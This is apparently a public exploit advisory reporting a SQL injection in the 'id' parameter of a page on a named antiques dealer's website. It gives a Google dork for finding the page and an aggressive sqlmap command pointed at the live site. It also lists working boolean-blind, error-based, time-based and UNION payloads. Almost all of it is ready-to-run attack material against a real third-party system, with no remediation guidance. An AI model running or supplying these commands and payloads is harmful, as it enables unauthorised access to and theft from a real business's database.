****************************
#Exploit Title: GLAZERRANTIQUES - SQL Injection vulnerability
#Date: 2020-10-07
#Exploit Author: Mahdi Karimi
#Vendor Homepage: http://www.glazerantiques.com
#Google Dork: display_page.php?id=339
#Tested On: windows 10
sqlmap:
sqlmap -u "http://www.glazerantiques.com/display_page.php?id=339" --level=5 --risk=3 --dbs --random-agent
Testing Method;
- boolean-based blind
- time-based blind
- UNION query
- error-based
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=339 AND 7518=7518
Type: error-based
Title: MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=339 AND ROW(8104,2936)>(SELECT COUNT(*),CONCAT(0x71716a7671,(SELECT (ELT(8104=8104,1))),0x717a787a71,FLOOR(RAND(0)*2))x FROM (SELECT 6202 UNION SELECT 8323 UNION SELECT 8942 UNION SELECT 4707)a GROUP BY x)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=339 AND (SELECT 9329 FROM (SELECT(SLEEP(5)))OAmy)
Type: UNION query
Title: Generic UNION query (NULL) - 18 columns
Payload: id=-6954 UNION ALL SELECT NULL,CONCAT(0x71716a7671,0x734a665a4c576b614c56506f6943684e726f61714871776b6652655145634379434c7375496f4a49,0x717a787a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
**************************************************
#Discovered by: Mahdi Karimi
#Email : mjoker22mjoker22@gmail.com
**************************************************